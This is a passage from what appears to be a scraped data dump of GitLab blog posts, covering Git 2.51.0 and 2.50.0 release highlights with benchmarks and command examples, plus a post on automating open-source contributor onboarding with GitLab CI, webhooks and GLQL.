expert advice on emerging technologies.",[1053],"Chandler Gibbons","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674616/Blog/Hero%20Images/blog-image-template-1800x945__1_.png","2024-10-29","Modern software development is transforming the way organizations create, deliver, and scale business value. Teams must be able to build solutions quickly and efficiently while navigating rising security threats, emerging technologies, and increasingly complex compliance demands.\n\nToday, GitLab is launching [The Source](https://about.gitlab.com/the-source/), a new publication that covers the evolution of software development as an engine for business success. We offer regular insights into the future of software development, supported by original research and analysis from our subject matter experts and thought leaders.\n\nOn The Source, you will find answers to questions such as:\n* How can leaders measure the ROI of AI across the software development lifecycle?\n* What’s the best way to ensure security and compliance across the entire software supply chain?\n* What types of efficiencies will teams see from platform and toolchain consolidation?\n\nHere’s a sample of what's on The Source today:\n\n**4 steps for measuring the impact of AI**\n\n\"Evaluating the productivity of AI-enhanced coding requires a more nuanced approach than traditional metrics such as lines of code, code commits, or task completion. It necessitates shifting the focus to real-world business outcomes that balance development speed, software quality, and security.\"\n- [Learn the 4 steps from AI expert Taylor McCaslin.](https://about.gitlab.com/the-source/ai/4-steps-for-measuring-the-impact-of-ai/)\n\n**Addressing the root cause of common security frustrations**\n\n\"DevSecOps promises better integration between engineering and security, but it’s clear that frustrations and misalignment persist. That’s because these challenges are symptoms of a larger problem with how organizations view security, as well as how teams work together and how they allocate time to security.\"\n- [Solve this disconnect with expert advice from GitLab CISO Josh Lemos.](https://about.gitlab.com/the-source/security/security-its-more-than-culture-addressing-the-root-cause-of-common-security/)\n\n**Driving business results with platform engineering**\n\n\"Platform engineering aims to normalize and standardize developer workflows by providing developers with optimized 'golden paths' for most of their workloads and flexibility to define exceptions for the rest.\"\n- [Discover GitLab Field CTO Brian Wald's best practices for platform engineering success.](https://about.gitlab.com/the-source/platform/driving-business-results-with-platform-engineering/)\n\n## Make The Source your decision-making partner\n\nVisit [The Source](https://about.gitlab.com/the-source/) today to explore the latest insights, get answers to your leadership questions, and learn something new to share with your teams. You can also subscribe to our newsletter for regular updates directly to your inbox. Join our community of forward-thinking technology leaders and help shape the future of software development.",[683,775,744,717],{"slug":1059,"featured":91,"template":797},"introducing-the-source-insights-for-the-future-of-software-development",{"category":751,"slug":755,"posts":1061},[1062,1075,1088],{"content":1063,"config":1073},{"title":1064,"description":1065,"authors":1066,"heroImage":1068,"date":1069,"body":1070,"category":755,"tags":1071},"What’s new in Git 2.51.0?","Learn about the latest contributions from GitLab's Git team and the Git community, including performance optimizations for git-push(1) and git-fetch(1).",[1067],"Karthik Nayak","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png","2025-08-18","The Git project recently released [Git 2.51](https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u).\nDue to summer in the Northern Hemisphere and slower progress, this\nrelease cycle was on the shorter side of 8 weeks (typically a release cycle\nlasts about 12 weeks). Let’s look at some notable changes in this release,\nincluding contributions from the Git team at GitLab and also the wider Git\ncommunity.\n\n\n## Performance optimizations for `git-push(1)` and `git-fetch(1)`\n\n\nThe `git-push(1)` and `git-fetch(1)` commands allow users to synchronize local and remote repositories. Part of the operation involves updating references in the repository. In repositories with many references, this can take significant time, especially for users who work with large development environments, monorepos, or repositories with extensive CI/CD pipelines.\n\nGit reference transactions can include multiple reference updates, but they follow an all-or-nothing approach. If any single update within the transaction fails, the entire transaction fails and none of the reference updates are applied. But reference updates as part of `git-push(1)` and `git-fetch(1)` are allowed to fail, which allows repositories to synchronize a subset of references even in the case where a different subset has diverged. To facilitate this behavior, Git creates a separate transaction for each reference update, allowing some transactions to fail while the rest succeed. \n\nCreating a separate transaction per update incurs significant overhead, as each transaction includes an initiation and teardown phase and also checks for whether there are conflicting reference names. The “reftable” backend also performs auto-compaction at the end of a transaction, so multiple transactions would trigger multiple auto-compactions, which would drastically increase the latency of the command. \n\nIn Git 2.51.0, these commands now use batched updates instead of separate transactions. Batched updates allow updating multiple references under a single transaction, while still allowing some updates to fail. This removes the overhead and scales better with the number of references to be updated, since only a single transaction is used. This significantly improves the performance of the “reftable” backend, which now outperforms the “files” backend. Users can reap these performance improvements without needing to make any changes.\n\nFor `git-fetch(1)` we see a *22x performance improvement for the “reftable” backend* and *1.25x improvement for the “files” backend* when used in a repository with 10,000 references.\n\n\n```\n\nBenchmark 1: fetch: many refs (refformat = reftable, refcount = 10000, revision = master)\n  Time (mean ± σ):      3.403 s ±  0.775 s    [User: 1.875 s, System: 1.417 s]\n  Range (min … max):    2.454 s …  4.529 s    10 runs\n\nBenchmark 2: fetch: many refs (refformat = reftable, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     154.3 ms ±  17.6 ms    [User: 102.5 ms, System: 56.1 ms]\n  Range (min … max):   145.2 ms … 220.5 ms    18 runs\n\nSummary\n  fetch: many refs (refformat = reftable, refcount = 10000, revision = HEAD) ran\n   22.06 ± 5.62 times faster than fetch: many refs (refformat = reftable, refcount = 10000, revision = master)\n\nBenchmark 1: fetch: many refs (refformat = files, refcount = 10000, revision = master)\n  Time (mean ± σ):     605.5 ms ±   9.4 ms    [User: 117.8 ms, System: 483.3 ms]\n  Range (min … max):   595.6 ms … 621.5 ms    10 runs\n\nBenchmark 2: fetch: many refs (refformat = files, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     485.8 ms ±   4.3 ms    [User: 91.1 ms, System: 396.7 ms]\n  Range (min … max):   477.6 ms … 494.3 ms    10 runs\n\nSummary\n  fetch: many refs (refformat = files, refcount = 10000, revision = HEAD) ran\n    1.25 ± 0.02 times faster than fetch: many refs (refformat = files, refcount = 10000, revision = master)\n```\n\n\nFor `git-push(1)` we see a *18x performance improvement for the reftable backend* and *1.21x improvement for the “files” backend* when used in a repository with 10,000 references.\n\n\n```\n\nBenchmark 1: push: many refs (refformat = reftable, refcount = 10000, revision = master)\n  Time (mean ± σ):      4.276 s ±  0.078 s    [User: 0.796 s, System: 3.318 s]\n  Range (min … max):    4.185 s …  4.430 s    10 runs\n\nBenchmark 2: push: many refs (refformat = reftable, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     235.4 ms ±   6.9 ms    [User: 75.4 ms, System: 157.3 ms]\n  Range (min … max):   228.5 ms … 254.2 ms    11 runs\n\nSummary\n  push: many refs (refformat = reftable, refcount = 10000, revision = HEAD) ran\n   18.16 ± 0.63 times faster than push: many refs (refformat = reftable, refcount = 10000, revision = master)\n\nBenchmark 1: push: many refs (refformat = files, refcount = 10000, revision = master)\n  Time (mean ± σ):      1.121 s ±  0.021 s    [User: 0.128 s, System: 0.975 s]\n  Range (min … max):    1.097 s …  1.156 s    10 runs\n\nBenchmark 2: push: many refs (refformat = files, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     927.9 ms ±  22.6 ms    [User: 99.0 ms, System: 815.2 ms]\n  Range (min … max):   903.1 ms … 978.0 ms    10 runs\n\nSummary\n  push: many refs (refformat = files, refcount = 10000, revision = HEAD) ran\n    1.21 ± 0.04 times faster than push: many refs (refformat = files, refcount = 10000, revision = master)\n```\n\n\nThis [project](https://lore.kernel.org/git/20250514-501-update-git-fetch-1-to-use-partial-transactions-v1-0-7c65f46493d4@gmail.com/) was led by [Karthik Nayak](https://gitlab.com/knayakgl).\n\n\n## Planning towards Git 3.0\n\n\n11 years ago, Git 2.0 was released, which was the last major version release of Git. While we don’t have a specific timeline for the next major Git release, this release includes decisions made towards Git 3.0.\n\n\nThe Git 3.0 release planning allows us to plan for and implement breaking changes and communicate them to the extended Git community. Next to documentation, Git can also be compiled with these breaking changes for those who want to experiment with these changes. More information can be found in the [BreakingChanges document](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/BreakingChanges.adoc). \n\n\nThe Git 2.51.0 release makes some significant changes towards Git 3.0. \n\n\n### Reftable as the default reference backend\n\n\nIn the [Git 2.45.0](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/RelNotes/2.45.0.adoc?ref_type=heads) release, the “reftable” format was introduced as a new backend for storing references like branches or tags in Git, which fixes many of the issues with the existing \"files\" backend. Please read our [beginner's guide to how reftables work](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/) for more insight into the “reftable” backend.\n\n\nThe Git 2.51.0 release marks the switch to using the \"reftable\" format as default in Git 3.0 for newly created repositories and also wires up the change behind a feature flag. The “reftable” format provides the following improvements over the traditional “files” backend:\n\n\n* It is impossible to store two references that only differ in casing on case-insensitive filesystems with the \"files\" format. This issue is common on Windows and macOS platforms. As the \"reftable\" backend does not use filesystem paths to encode reference names this problem goes away.\n\n* Similarly, macOS normalizes path names that contain unicode characters, which has the consequence that you cannot store two names with unicode characters that are encoded differently with the \"files\" backend. Again, this is not an issue with the \"reftable\" backend.\n\n* Deleting references with the \"files\" backend requires Git to rewrite the complete \"packed-refs\" file. In large repositories with many references this file can easily be dozens of megabytes in size; in extreme cases it may be gigabytes. The \"reftable\" backend uses tombstone markers for deleted references and thus does not have to rewrite all of its data.\n\n* Repository housekeeping with the \"files\" backend typically performs all-into-one repacks of references. This can be quite expensive, and consequently housekeeping is a tradeoff between the number of loose references that accumulate and slow down operations that read references, and compressing those loose references into the \"packed-refs\" file. The \"reftable\" backend uses geometric compaction after every write, which amortizes costs and ensures that the backend is always in a well-maintained state.\n\n* Operations that write multiple references at once are not atomic with the \"files\" backend. Consequently, Git may see in-between states when it reads references while a reference transaction is in the process of being committed to disk.\n\n* Writing many references at once is slow with the \"files\" backend because every reference is created as a separate file. The \"reftable\" backend significantly outperforms the \"files\" backend by multiple orders of magnitude.\n\n* The “reftable” backend uses a binary format with prefix compression for reference names. As a result, the format uses less space compared to the \"packed-refs\" file.\n\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n\n### SHA-256 as the default hash function\n\n\nThe Git version control system stores objects in a content-addressable filesystem. This means it uses the hash of an object to address content such as files, directories, and revisions, unlike traditional filesystems, which use sequential numbers. Using a hash function has the following advantages: \n\n\n* Easy integrity checks as a single bit flip would change the hash output completely.\n\n* Fast object lookup as objects can be indexed by their hash.\n\n* Object names can be signed and third parties can trust the hash to address the signed object and all objects it references.\n\n* Communication using Git protocol and out of band communication methods have a short reliable string that can be used to reliably address stored content.\n\n\nSince its inception, Git has used the SHA-1 hashing algorithm. However, security researchers have discovered some flaws in SHA-1, specifically the [SHAttered attack](https://shattered.io), which shows a practical SHA-1 hash collision. We moved to using a hardened SHA-1 implementation by default since Git 2.13.0. However, SHA-1 is still a weak hashing algorithm and it is only a matter of time before additional attacks will further reduce its security.\n\n\nSHA-256 was identified as the successor to SHA-1 in late 2018. Git 2.51.0 marks it as the default hash algorithm to be used in Git 3.0.\n\n\nThis project was led by [brian m. carlson](https://github.com/bk2204).\n\n\n### Removal of `git-whatchanged(1)`\n\n\nThe `git-whatchanged(1)` command shows logs with differences each commit introduces. While this is now succeeded by `git log --raw`, the command was kept around for historical reasons. \n\n\nGit 2.51.0 requires users of the command to explicitly use the `--i-still-use-this` flag to capture any users who still use the deprecated command, and also marks the command for removal in Git 3.0. \n\n\nThis project was led by [Junio C Hamano](https://simple.wikipedia.org/wiki/Junio_Hamano).\n\n\n## `git switch` and `git restore` are no longer experimental\n\n\nThe `git-checkout(1)` command can be used for multiple different use cases. It can be used for switching references:\n\n\n```\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master'.\n\nnothing to commit, working tree clean\n\n$ git checkout next\nSwitched to branch 'next'\nYour branch is up to date with 'origin/next'.\n```\n\n\nOr for restoring files:\n\n\n```\n$ echo \"additional line\" >> git.c\n\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master’.\n\nChanges not staged for commit:\n  (use \"git add \u003Cfile>...\" to update what will be committed)\n  (use \"git restore \u003Cfile>...\" to discard changes in working directory)\n    modified:   git.c\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n\n$ git checkout git.c\nUpdated 1 path from the index\n\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master’.\n\nnothing to commit, working tree clean\n```\n\n\nFor new users of Git, this can cause a lot of confusion. So in Git 2.33.0, these were split into two new commands, `git-switch(1)` and `git-restore(1)`.\n\nThe `git-switch(1)` command allows users to switch to a specific branch: \n\n\n```\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master'.\n\nnothing to commit, working tree clean\n\n$ git switch next\nSwitched to branch 'next'\nYour branch is up to date with 'origin/next'.\n```\n\n\nAnd the `git-restore(1)` command allows users to restore working tree files: \n\n\n```\n$ echo \"additional line\" >> git.c\n\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master’.\n\nChanges not staged for commit:\n  (use \"git add \u003Cfile>...\" to update what will be committed)\n  (use \"git restore \u003Cfile>...\" to discard changes in working directory)\n    modified:   git.c\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n\n$ git restore git.c\n\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master’.\n\nnothing to commit, working tree clean\n```\n\n\nWhile the two commands have existed since 2019, they were marked as experimental. The effect is that the Git project doesn’t guarantee backwards compatibility for those commands: the behavior may change at any point in time. While the intent originally was to stabilize those commands after a couple of releases, this hasn’t happened up to this point.\n\nThis has led to several discussions on the Git mailing list where users are unsure whether they can start using these new commands, or whether they might eventually go away again. But given that no significant changes have ever been proposed, and that some users are already using these commands, we have decided to no longer declare them as experimental in Git 2.51.\n\nThis project was led by [Justin Tobler](https://gitlab.com/justintobler).\n\n\n## `git for-each-ref(1)` receives pagination support\n\n\nThe `git for-each-ref` command is used to list all references present in the repository. As it is part of the plumbing layer of Git, this command is frequently used for example by hosting forges to list references that exist in the repository in their UI. But as repositories grow, it becomes less realistic to list all references at once – after all, the largest repositories may contain millions of them! So instead, forges tend to paginate the references.\n\n\nThis surfaces an important gap: `git-for-each-ref` does not know to skip references from previous pages that have already been shown. Consequently, it may have to list a large number of uninteresting references before it finally starts to yield the references required for the current page. This is inefficient and leads to higher-than-necessary latency or even timeouts.\n\n\nGit 2.51.0 supports a new `--start-after` flag for `git for-each-ref`, which allows paginating the output. This can also be combined with the `--count` flag to iterate over a batch of references. \n\n\n```\n$ git for-each-ref --count=10\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-001\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-002\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-003\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-004\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-005\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-006\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-007\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-008\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-009\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-010\n\n$ git for-each-ref --count=10 --start-after=refs/heads/branch-010\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-011\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-012\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-013\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-014\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-015\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-016\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-017\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-018\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-019\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-020\n```\n\n\nThis project was led by [Karthik Nayak](https://gitlab.com/knayakgl).\n\n\n## What's next?\n\n\nReady to experience these improvements? Update to Git 2.51.0 and start using `git switch` and `git restore` in your daily workflow. \n\n\nFor GitLab users, these performance enhancements will automatically improve your development experience once your Git version is updated.\n\n\nLearn more in the [official Git 2.51.0 release notes](https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u) and explore our [complete archive of Git development coverage](https://about.gitlab.com/blog/tags/git/).\n",[1072,910,269],"git",{"featured":6,"template":797,"slug":1074},"what-s-new-in-git-2-51-0",{"content":1076,"config":1086},{"title":1077,"description":1078,"body":1079,"authors":1080,"heroImage":1083,"category":755,"tags":1084,"date":1085},"How we use GitLab to grow open source communities","Learn how to use the DevSecOps platform to solve onboarding problems for new contributors.","GitLab's Contributor Success team faced a challenge.\n\nWhile our returning open source contributors were merging more code changes and collaborating on deeper features, first-time contributors were struggling to get started. We knew many newcomers to open source often gave up or never asked for help. But as advocates for [GitLab's mission](https://handbook.gitlab.com/handbook/company/mission/)\n\nto enable everyone to contribute, we wanted to do better.\n\n\nWe started running research studies on open source contributors to GitLab. Then we improved the stumbling blocks. In January, we achieved a record of 184 unique community contributors to GitLab in a single month,\n\nexceeding our team target of 170 for the first time.\n\n\nThree months later, we broke it again with 192.\n\n\nHere's how we used GitLab's own tools to solve the newcomer dilemma and grow our open source community.\n\n\n## What we learned studying first-time contributors\n\n\nIn 2023, we conducted the first-ever user study of GitLab open source contributors.\n\nWe watched six participants who had never contributed to GitLab make their first attempt. They completed diary studies and Zoom interviews detailing their experience.\n\n\nParticipants told us:\n\n\n* The contributor documentation was confusing\n\n* Getting started felt overwhelming\n\n* It wasn't clear how or where to find help\n\n\nOnly one out of the six participants successfully merged a code contribution to GitLab during the study.\n\n\nIt became clear we needed to focus on the onboarding experience if we wanted new contributors to succeed.\n\nSo we [iterated](https://handbook.gitlab.com/handbook/values/#iteration)!\n\n\nOur team spent the next year addressing their challenges. We used GitLab tools,\n\nsuch as issue templates, scheduled pipelines, webhooks, and the GitLab Query Language (GLQL), to build an innovative semi-automated onboarding solution.\n\n\nIn 2025, we performed a follow-up user study with new participants who had never made a contribution to GitLab. All 10 participants successfully created and merged contributions to GitLab, a 100% success rate. The feedback showed a great appreciation for the new onboarding process, the speed at which\n\nmaintainers checked in on contributors, and the recognition we offered to contributors.\n\n\nEven better, participants shared how much fun they had contributing:\n\n\"I felt a little rush of excitement at being able to say 'I helped build GitLab.'\"\n\n\n## We built personal onboarding with GitLab\n\n\nOur solution started with engagement.\n\nTo help newcomers get started, we introduced a personal onboarding process connecting each\n\ncontributor with a community maintainer.\n\n\nWe created an [issue template](https://gitlab.com/gitlab-community/meta/-/blob/ac0e5579a6a1cf26e367010bfcf6c7d35b38d4f8/.gitlab/issue_templates/Onboarding.md) with a clear checklist of tasks.\n\n\nThe onboarding issue also handles access approval for the\n\n[GitLab community forks](https://about.gitlab.com/blog/gitlab-community-forks/),\n\na collection of shared projects that make it easier to push changes, collaborate with others,\n\nand access GitLab Ultimate and Duo features.\n\n\nUsing [scoped labels](https://docs.gitlab.com/user/project/labels/#scoped-labels), we indicate the status of the access request for easy maintainer follow-ups.\n\n\n![GitLab onboarding issue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/vkiyl0hrfbgcer3nz38r.png)\n\n\nWe started with a Ruby script run via a [scheduled pipeline](https://docs.gitlab.com/ci/pipelines/schedules/),\n\nchecking for new access requests and using the issue template to create personalized onboarding issues.\n\n\nFrom here, our maintainers engage with new contributors to verify access, answer questions, and find issues.\n\n\n## We standardized responses with comment templates\n\n\nWith multiple maintainers in the GitLab community, we wanted to ensure consistent and clear messaging.\n\n\nWe created [comment templates](https://docs.gitlab.com/user/profile/comment_templates/),\n\nwhich we sync with the repository using the GraphQL API and a\n\n[Ruby script](https://gitlab.com/gitlab-community/meta/-/blob/dd6e0c2861c848251424b72e3e8c5603dcaac725/bin/sync_comment_templates.rb).\n\n\nThe script is triggered in `.gitlab-ci.yml` when comment template changes are pushed\n\nto the default branch (a dry run is triggered in merge requests).\n\n\n```yaml\n\nexecute:sync-comment-templates:\n  stage: execute\n  extends: .ruby\n  script:\n    - bundle exec bin/sync_comment_templates.rb\n  variables:\n    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == \"trigger\"\n      when: never\n    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'\n    - if: $CI_MERGE_REQUEST_IID\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        REPORT_ONLY: 1\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        FORCE_SYNC: 1\n        DRY_RUN: 0\n        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE\n```\n\n\n\n\n![GitLab comment template](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/qmfaymqhq3zgdcnm6a3j.png)\n\n\n\n\n## We eliminated the 5-minute wait time\n\n\nOur first iteration was a little slow.\n\nAfter starting the onboarding process, contributors wondered what to do next while the scheduled\n\npipeline took up to 5 minutes to create their onboarding issue.\n\nFive minutes feels like forever when you have the momentum to dive in.\n\n\n[Niklas](https://gitlab.com/Taucher2003), a member of our [Core team ](https://about.gitlab.com/community/core-team/), built a solution.\n\nHe added [webhook events for access requests](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/163094)\n\nand [custom payload templates for webhooks](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/142738).\n\n\nThese features together allowed us to trigger a pipeline immediately instead of waiting for the schedule.\n\nThis reduces the time to roughly 40 seconds (the time it takes for the CI pipeline to run)\n\nand generates the onboarding issue right away. It also saves thousands of wasted pipelines and compute minutes when no access requests actually need processing.\n\n\nWe set up a [pipeline trigger token](https://docs.gitlab.com/ci/triggers/#create-a-pipeline-trigger-token)\n\nand used this as the target for the webhook, passing the desired environment variables:\n\n\n```json\n\n{\n  \"ref\": \"main\",\n  \"variables\": {\n    \"EXECUTE_ACCESS_REQUESTS\": \"1\",\n    \"DRY_RUN\": \"0\",\n    \"PIPELINE_NAME\": \"Create onboarding issues\",\n    \"GROUP_ID\": \"{{group_id}}\",\n    \"EVENT_NAME\": \"{{event_name}}\"\n  }\n}\n\n```\n\n\n![Pipeline list](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512805/qom7hnqnwfcdzvria7dd.png)\n\n\n## We automated follow-ups\n\n\nWith an increasing volume of customers and community contributors onboarding to the GitLab community,\n\nmaintainers struggled to track which issues needed attention and some follow-up questions got lost.\n\n\nWe built automation leveraging webhooks and Ruby to label issues updated by community members.\n\nThis creates a clear signal of issue status for maintainers.\n\n\n[GitLab Triage](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage)\n\nautomatically nudges idle onboarding issues to ensure we maintain contributor momentum.\n\n\n![Automated nudge for idle GitLab onboarding issues](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512811/gkj3qaidjl1vv2dlu8ep.png)\n\n\n## We organized issue tracking with GLQL\n\n\nWe built a [GLQL view](https://docs.gitlab.com/user/glql/) to keep track of issues.\n\nThis GLQL table summarizes onboarding issues which need attention,\n\nso maintainers can review and follow up with community members.\n\n\n![GLQL view of issue tracking](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/hdduf0orntdfhkysheae.png)\n\n\nThese GLQL views improved our overall triage [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency).\n\nIt was so successful we ended up using this strategy within the [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/)\n\nand [GitLab for Education](https://about.gitlab.com/solutions/education/) programs, too.\n\nWith GLQL tables for support issues, these community programs lowered their response times by 75%.\n\n\n## We made the README findable\n\n\nThe [@gitlab-community group](https://gitlab.com/gitlab-community/)\n\nis the home for contributors on Gitlab.com.\n\nWe already had a `README.md` file explaining the community forks and onboarding process, but this file\n\nlived in our meta project.\n\nWith our follow-up user study, we discovered this was a point of confusion for newcomers when their\n\nonboarding issues were under a different project.\n\n\nWe used [GitLab's project mirroring](https://docs.gitlab.com/user/project/repository/mirror/)\n\nto solve this and mirrored the meta project to `gitlab-profile`.\n\nThis surfaced the existing README file at the group level, making it easier to discover.\n\n\n![GitLab project mirroiring](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512809/kbgdxyilza71kmj0aeqt.png)\n\n\n![Group README](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/taosgn8vvgo8onszuwaf.png)\n\n\n## The results speak for themselves\n\n\nBy dogfooding GitLab, we improved the stumbling blocks found in our research studies\n\nand transformed the GitLab contributor journey.\n\nWe have grown the number of customers and community members contributing to GitLab,\n\nadding features to the product, solving bugs, and adding to our CI/CD catalog.\n\n\nOur onboarding process has increased the rate newcomers join the community, and our total number of\n\ncontributors on the community forks has doubled over the last 9 months.\n\n\n![Community forks growth chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/xagra4vfsrhbcwnzekmp.png)\n\n\nWe reduced the time it takes for newcomers to make their first contribution by connecting them\n\nwith maintainers faster and supporting them in getting started.\n\nWe use [GitLab's value stream analytics](https://docs.gitlab.com/user/group/value_stream_analytics/)\n\nto track our response rates.\n\n\n* First response time from community maintainers is down to 46 minutes over the last 3 months\n\n* Average approval time for community forks access is down to 1 hour over the last 3 months\n\n\n![Value stream analytics timeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512812/jzksakrfdb22hooqemzh.png)\n\n\nThe 100% success rate of our 2025 user study confirmed these improvements for our first-time contributors.\n\n\n## We invested time savings into contributor recognition\n\n\nFixing these newcomer challenges allowed us more capacity to focus on better recognition of\n\ncontributors, incentivizing first-timers to keep coming back.\n\nThe result is [contributors.gitlab.com](https://contributors.gitlab.com/).\n\nWe built out a central hub for our contributors that features gamified leaderboards,\n\nachievements, and rewards.\n\nContributors can see their impact, track progress, and grow in the community.\n\n\n## Sharing what we learned\n\n\nThese improvements work and are repeatable for other open source projects.\n\nWe are sharing our approach across communities and conferences so that other projects can consider using these tools to grow.\n\n\nAs more organizations learn the barriers to participation, we can create a more welcoming open source environment.\n\nWith these GitLab tools, we can offer a smoother experience for both contributors and maintainers.\n\nWe're committed to advancing this work and collaborating to remove barriers for open source projects everywhere.\n\n\n## Start the conversation\n\n\nWant to learn more about growing your contributor community?\n\nEmail `contributors@gitlab.com` or [open an issue](https://gitlab.com/gitlab-org/developer-relations/contributor-success/team-task/-/issues)\n\nto start a discussion.\n\nWe're here to help build communities.\n",[1081,1082],"Lee Tickett","Daniel Murphy","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099558/Blog/Hero%20Images/Blog/Hero%20Images/gitlabflatlogomap_gitlabflatlogomap.png_1750099558369.png",[910,269,765],"2025-07-15",{"featured":6,"template":797,"slug":1087},"how-we-use-gitlab-to-grow-open-source-communities",{"content":1089,"config":1097},{"title":1090,"description":1091,"authors":1092,"heroImage":1068,"body":1094,"date":1095,"category":755,"tags":1096},"What’s new in Git 2.50.0?","Here are contributions from GitLab's Git team and the Git community such as the git-diff-pairs(1) command and git-update-ref(1) option to perform batched reference updates.",[1093],"Justin Tobler","The Git project recently released [Git Version\n2.50.0](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/T/#u). Let's\nlook at a few notable highlights from this release, which includes\ncontributions from the Git team at GitLab and also the wider Git community.\n\n## New git-diff-pairs(1) command\n\n\nDiffs are at the heart of every code review and show all the changes made\n\nbetween two revisions. GitLab shows diffs in various places, but the most\n\ncommon place is a merge request's [\"Changes\"\ntab](https://docs.gitlab.com/user/project/merge_requests/changes/).\n\nBehind the scenes, diff generation is powered by\n\n[`git-diff(1)`](https://git-scm.com/docs/git-diff). For example:\n\n\n```shell\n\n$ git diff HEAD~1 HEAD\n\n```\n\n\nThis command returns the full diff for all changed files. This might pose a\nscalability challenge because the number of files changed between a set of\nrevisions could be very large and cause the command to reach self-imposed\ntimeouts for the GitLab backend. For large change sets, it would be better\nif\n\nthere were a way to break diff computation into smaller, more digestible\nchunks.\n\n\nOne way this can be achieved is by using\n\n[`git-diff-tree(1)`](https://git-scm.com/docs/git-diff-tree) to retrieve\ninfo\n\nabout all the changed files:\n\n\n```shell\n\n$ git diff-tree -r -M --abbrev HEAD~ HEAD\n\n:100644 100644 c9adfed339 99acf81487 M     \nDocumentation/RelNotes/2.50.0.adoc\n\n:100755 100755 1047b8d11d 208e91a17f M      GIT-VERSION-GEN\n\n```\n\n\nGit refers to this output as the [\"raw\"\nformat](https://git-scm.com/docs/git-diff-tree#_raw_output_format).\n\nIn short, each line of output lists filepairs and the accompanying metadata\n\nabout what has changed between the start and end revisions. Compared to\n\ngenerating the \"patch\" output for large changes, this process is relatively\n\nquick and provides a summary of everything that changed. This command can\noptionally perform rename detection by  appending the `-M` flag to check if\nidentified changes were due to a file rename.\n\n\nWith this information, we could use `git-diff(1)` to compute each of the\n\nfilepair diffs individually. For example, we can provide the blob IDs\n\ndirectly:\n\n\n```shell\n\n$ git diff 1047b8d11de767d290170979a9a20de1f5692e26\n208e91a17f04558ca66bc19d73457ca64d5385f\n\n```\n\n\nWe can repeat this process for each of the filepairs, but spinning up a\n\nseparate Git process for each individual file diff is not very efficient.\n\nFurthermore, when using blob IDs, the diff loses some contextual information\n\nsuch as the change status, and file modes which are stored in with the\nparent\n\ntree object. What we really want is a mechanism to feed \"raw\" filepair info\nand\n\ngenerate the corresponding patch output.\n\n\nWith the 2.50 release, Git has a new built-in command named\n\n[`git-diff-pairs(1)`](https://git-scm.com/docs/git-diff-pairs). This command\n\naccepts \"raw\" formatted filepair info as input on stdin to determine exactly\nwhich patches to output. The following example showcases how this command\ncould be\n\nused:\n\n\n```shell\n\n$ git diff-tree -r -z -M HEAD~ HEAD | git 